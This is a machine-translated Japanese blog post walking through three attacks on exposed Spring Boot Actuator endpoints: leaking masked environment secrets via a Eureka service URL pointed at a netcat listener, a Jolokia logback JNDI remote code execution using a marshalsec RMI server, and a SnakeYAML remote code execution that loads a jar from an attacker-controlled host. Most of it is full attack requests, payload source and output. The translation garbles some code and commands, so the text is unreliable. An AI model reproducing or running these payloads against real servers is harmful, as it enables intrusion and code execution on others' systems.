Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86396673

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

1。 Springboot envに *敏感な情報を取得します

Springbootサイトに直接アクセスすると、一部のパスワードフィールドが *で満たされていることがわかります。

クリアテキストフィールドは$ {name} 2を介して取得できます。不適切な構成は、機密情報の漏れにつながります(パスワードコールアスタリスク、PWDはアスタリスクを呼び出しません1049983-20230301123203473-1048483928.jpg参照https://MP.weixin.Q.com/s/s/hmgeyrcf1HSVW995501

特定の実装プロセス:

たとえば、 PIDパラメーター値を取得したい

'pid':' 10648 '、

post /env http /1.1

HOST: 10.20.24.191:8090

user-agent: mozilla/5.0(macintosh; intel mac os x 10.14; rv336052.0)gecko/20100101 firefox/52.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

Accept-Encoding: gzip、deflate

Connection:閉じます

アップグレード-Insecure-Requests: 1

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 76

eureka.client.serviceurl.defaultzone=http://$ {pid }@10.20.24.191:2444/

次に、コンテンツを更新し、脆弱性をトリガーします

PS:は通常、応答パッケージを持つために3秒待つ必要があります。リターンがリフレッシュできないSpring-Boot-Starter-Actuator拡張機能パッケージがないためである可能性がある場合、悪用することはできません。

投稿/更新http /1.1

HOST: 10.20.24.191:8090

user-agent: mozilla/5.0(macintosh; intel mac os x 10.14; rv336052.0)gecko/20100101 firefox/52.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

Accept-Encoding: gzip、deflate

Connection:閉じます

アップグレード-Insecure-Requests: 1

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 5

12312

サーバーNCがポート2444に耳を傾けると、受信されます

root@kali:/tmp#nc -lvvp 2444

[任意の] 2444で聞く.

Kali [10.20.24.191] 40960から[10.20.24.191]に接続します

get/xstream/apps/http/1.1

Accept: Application/JSON

discoveryidentity-name: defaultclient

DiscoveryIdentity-version: 1.4

DiscoveryIdentity-ID: 10.20.24.191

Accept-Encoding: GZIP

host: 10.20.24.191:2444

Connection: Keep-Alive

user-agent: java-eurekaclient/v1.4.11

Authorization: BASIC MZGZNDY6BNVSBA==

Authorization: BASIC MZGZNDY6BNVSBA==

取得するためのbase64デコード

root@kali:/tmp#echo mzgzndy6bnvsba==| base64 -d

38346:Null

上記のPID情報と同じです

同様に、user.countryパラメーターを取得すると、手順は同じです

結果:

root@kali:/tmp#nc -lvvp 2555

[任意の] 2555で聞く.

Kali [10.20.24.191]から[10.20.24.191]に接続します。38994

get/xstream/apps/http/1.1

Accept: Application/JSON

discoveryidentity-name: defaultclient

DiscoveryIdentity-version: 1.4

DiscoveryIdentity-ID: 10.20.24.191

Accept-Encoding: GZIP

HOST: 10.20.24.191:2555

Connection: Keep-Alive

user-agent: java-eurekaclient/v1.4.11

Authorization: Basic VVM6BNVSBA==

0、RCVD 310を送信します

取得するためのbase64デコード

root@kali:/tmp#echo vvm6bnvsba==| base64 -d

US: Null Scripting:

照会するパラメーターを入力し、NC llad5cqintr3197.pngで聴くポートを入力します

1049983-20230301123204371-1348724531.jpg

ポートを聴き、指定されたヘッダーヘッダーを取得し、自動的にbase64復号化5ffticqtc4w3199.png

1049983-20230301123205136-1093949527.jpg 1049983-20230301123206021-825774621.jpg

PS:ターゲットクラスパス(通常はSpring Cloud Netflixに含まれる)にEureka-Client 1.8.7を持つことができた場合、XStream Deserializationの脆弱性を活用できます。

たとえば、USER-AGENT: JAVA-EUREKACLIENT/V1.4.11

2。 springboot_actuator jndi rce

1。環境構築

git clone 3https://github.com/veracode-research/actuator-testbed

起動する

MVNインストール

または

MVN Spring-Boot:Run

コンピレーションと操作により、リスニングIPアドレスは127.0.0.1であり、ローカルマシンのみでアクセスできることがわかりました。 Baidu検索、0.0.0.0に変更するだけです。

キーファイルを見つけます

grep -r 'server.address' -n ./

./src/main/resources/application.properties:23360server.address=127.0.0.1

./target/classes/application.properties:2:server.address=127.0.0.1

に変更します

server.port=8090

server.address=0.0.0.0

#脆弱な構成セット0:スプリングブート1.0-1.4

#すべてのスプリングブートバージョン1.0-1.4パラメーターなしでデフォルトでアクターを公開する

#それらを公開するために必要な構成はありません

#セーフ構成セット0:スプリングブート1.0-1.4

#management.security.enabled=true

#脆弱な構成セット1:スプリングブート1.5+

#スプリングブート1.5+はmanagement.security.enabled=falseを必要とします敏感なアクターを公開する

#management.security.enabled=false

#セーフ構成セット1:スプリングブート1.5+

# 'management.security.enabled=false'が、すべての敏感なアクターが明示的に無効になっている場合

#management.security.enabled=false

#脆弱な構成セット2:スプリングブート2+

#management.endpoints.web.exposure.include=*

2。再起動して起動

mvn spring-boot:run

または

/opt/jdk1.8.0_60//bin/java-classpath /opt/apache-maven-3.6.2/plexus-classworlds-2.6.0.jar -dclassworlds.conf=/opt/apache-maven-3.6.2/bin/bin/m2.conf -dmaven.home=/opchmen.home -dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -dmaven.multimoduleprojectdirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.launchersprun-boot3:Run

しばらく待ってください

root@kali:〜/actuator/actuator -testbed#netstat -ntpl | grep 8090

TCP6 0 0 :8090 :*聞いて33666/java

root@kali:〜/actuator/actuator-testbed#

http://10.20.24.191:8090/y3gktuvd0nd3206.png

1049983-20230301123206803-2050467207.png

http://10.20.24.191:8090/Jolokia/List umwecg2inj53214.png

1049983-20230301123207520-1178629798.png

reloadbyurlは、リモートURL XMLファイルをロードできます

'ch.qos.logback.classic': {

'name=default、type=ch.qos.logback.classic.jmx.jmxconfigurator': {

'op': {

'reloadbyurl': {

'args': [

{

'name ':' p1 '、

'Type':' java.net.url '、

'desc':' '

}

]、

'ret':' void '、

'desc':'管理のために公開された操作'

}

3.HTTP Service Stores logback.xml、exportobject.class

logback.xmlファイルコンテンツ

mwanhhuwvaa3219.png

1049983-20230301123208204-1124192519.pngConfiguration

InsertFromjndi env-entry-name='rmi: //10.20.24.19133601099/exploit' as='appname'/

/構成

ExportObject.java

java.io.bufferedreaderをインポートします。

java.io.inputStreamをインポートします。

java.io.inputStreamReaderをインポートします。

Public Class ExportObject {

public ExportObject()スロー例外{

process var1=runtime.getRuntime()。exec( 'touch /tmp /jas502n');

inputstream var2=var1.getinputStream();

BufferedReader var3=new BufferedReader(new inputStreamReader(var2));

文字列var4;

while((var4=var3.readline())!=null){

System.out.println(var4);

}

var1.waitfor();

var2.close();

var3.close();

var1.destroy();

}

public static void main(string [] var0)は例外をスローします{

}

}

4.rceトリガー

RMIポートを聴いてください

root@kali:〜/ldap_rmi#cat rmi.sh

Java -CP MARSHALSEC-0.0.3-SNAPSHOT-ALL.JAR MARSHALSEC.JNDI.RMIREFSERVER http://10.20.24.191:8000/#EXPORTOBJECT

root@kali:〜/ldap_rmi#./rmi.sh

* 1099にJRMPリスナーを開く

/10.20.24.191:43878から接続があります

メッセージを読む.

rmi.lookup call for exportobject 2です

http://10.20.20.24.191:8000/exportobject.classをターゲットとするリモートクラスロードスタブの送信

接続を閉じます

ブラウザアクセスは、解析用のリモートlogback.xmlファイルをロードします。

サーバーは悪意のあるJNDIアドレスにアクセスし、悪意のあるバイトコードコードの実行を引き起こします

http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:name=default、type=ch.qos.l ogback.classic.jmx.jmxconfigurator/reloadbyurl/http:

myua4gfcyvq3226.png

1049983-20230301123208943-696382667.png

5。コマンドの実行は成功しました

root@kali:/var/www/html#ls/tmp/j*

/TMP/JAS502N

root@kali:/var/www/html#

iii。 YML RCE脆弱性

スプリング環境でRCEを実装する方法spring.cloud.bootstrap.locationプロパティの変更はより信頼性が高い

このプロパティは、外部構成をロードし、YAML形式で解析するために使用されます。これを達成するために、ポスト/リフレッシュコンテンツは脆弱性を引き起こします。 yaml_payload.ymlファイルコンテンツ:

! javax.script.scriptenginemanager [

! java.net.urlclassloader [[[[

! java.net.url ['http://10.20.24.191:8000/yaml_payload.jar']

]]

]

1.yaml_payload.jar製造

コード3https://github.com/artsploit/yaml-payload

1049983-20230301123209714-1255248784.jpgawesomescriptenginefactory.javaコードの一部

javax.script.scriptengineをインポートします。

javax.script.scriptengineFactoryをインポートします。

java.io.ioexceptionをインポートします。

java.util.listをインポートします。

Public Class AwesomeScriptEngineFactoryはScriptEngineFactoryを実装しています{

public wesomescriptengineFactory(){

試す {

runtime.getRuntime()。exec( 'touch /tmp /success');

} catch(ioException e){

e.printstacktrace();

}

}

ymal_payload.jar \ artsploit \ awesomescriptenginefactory.java

実際のバイトコードが含まれており、コンストラクターに悪意のあるペイロードがあります。

ymal_payload.jar \ services \ javax.script.scriptengineFactory

serviceloaderがクラスを見つける場所を知っているように、「artsploit.awesomescriptenginefactory」への完全な参照を含むテキストファイルだけ

コンテンツ:Artsploit.awesomescriptengineFactory

JARファイルはHTTPサーバーに存在します

http://10.20.24.191:8090/ymal_payload.jar

2.spring.cloud.bootstrap.location

をセットします

Sprud.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml

1049983-20230301123210372-433777415.pngpost /env http /1.1

HOST: 10.20.24.191:8090

user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv336055.0)gecko/20100101 firefox/55.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

Accept-Encoding: gzip、deflate

x-forwarded-for: 127.0.0.1

Connection:閉じます

アップグレード-Insecure-Requests: 1

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 73

spring.cloud.bootstrap.Location=http://10.20.20.24.19133608000/yaml_payload.yml

3. refresh任意のコンテンツを投稿し、RCEの脆弱性がトリガーされました

1049983-20230301123211028-1986776549.pngPOST /更新HTTP /1.1

HOST: 10.20.24.191:8090

user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv336055.0)gecko/20100101 firefox/55.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8

Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3

Accept-Encoding: gzip、deflate

x-forwarded-for: 127.0.0.1

Connection:閉じます

アップグレード-Insecure-Requests: 1

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 5

12312

4.RCE実行は成功しました

1049983-20230301123211641-785428136.jpgROOT@kali:/var/www/html#ls/tmp/suck*

/TMP/成功

root@kali:/var/www/html#ps: eurekaのxstreamペイロードと比較して、yamlメソッドは最新バージョンでも使用できます。参照リンク3https://www.veracode.com/blog/research/exploiting-spring-boot-actuatorsオリジナルリンク:https://github.com/jas502n/springboot_actuator_rce